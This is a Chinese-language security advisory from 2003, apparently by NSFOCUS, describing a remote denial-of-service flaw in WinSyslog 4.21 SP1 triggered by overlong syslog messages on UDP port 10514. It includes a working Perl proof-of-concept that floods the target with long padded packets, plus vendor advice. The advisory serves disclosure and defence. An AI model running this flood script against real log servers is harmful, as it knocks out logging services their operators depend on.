安全研究

安全漏洞
WinSyslog超长Syslog消息远程拒绝服务攻击漏洞

发布日期:2003-10-14
更新日期:2003-10-21

受影响系统:
WinSyslog WinSyslog 4.21 SP1
描述:
BUGTRAQ  ID: 8821

WinSyslog是一款用于Windows的syslog日志服务程序。

WinSyslog没有正确处理超长syslog消息,远程攻击者可以利用这个漏洞对日志服务器进行拒绝服务攻击。

当程序通过监听端口(默认是10514/UDP)接收到多个超长syslog消息,可导致WinSyslog程序停止响应。

<*来源:storm (storm@stormdev.net
  
  链接:http://www.securiteam.com/windowsntfocus/6L00F158KE.html
*>

测试方法:

警 告

以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

storm (storm@stormdev.net)提供了如下测试方法:

#!/usr/bin/perl
#WinSyslog System Freeze Vulnerability

use IO::Socket;
$host = "192.168.1.44";
$port = "10514";
$data = "A";

$socket = IO::Socket::INET->new(Proto => "udp") or die "Socket error: $@\n";
$ipaddr = inet_aton($host) || $host;
$portaddr = sockaddr_in($port, $ipaddr);

for ($count = 0; $count < 1000; $count ++)
{
$buf = "<00>";
$buf .= "A"x((600+$count)*4);

print "Length: ", length($buf), "\n";
send($socket, $buf, 0, $portaddr);
print "sent\n";
}

print "Done\n";

建议:
厂商补丁:

WinSyslog
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:

http://www.winsyslog.com/en/

浏览次数:3439
严重程度:0(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障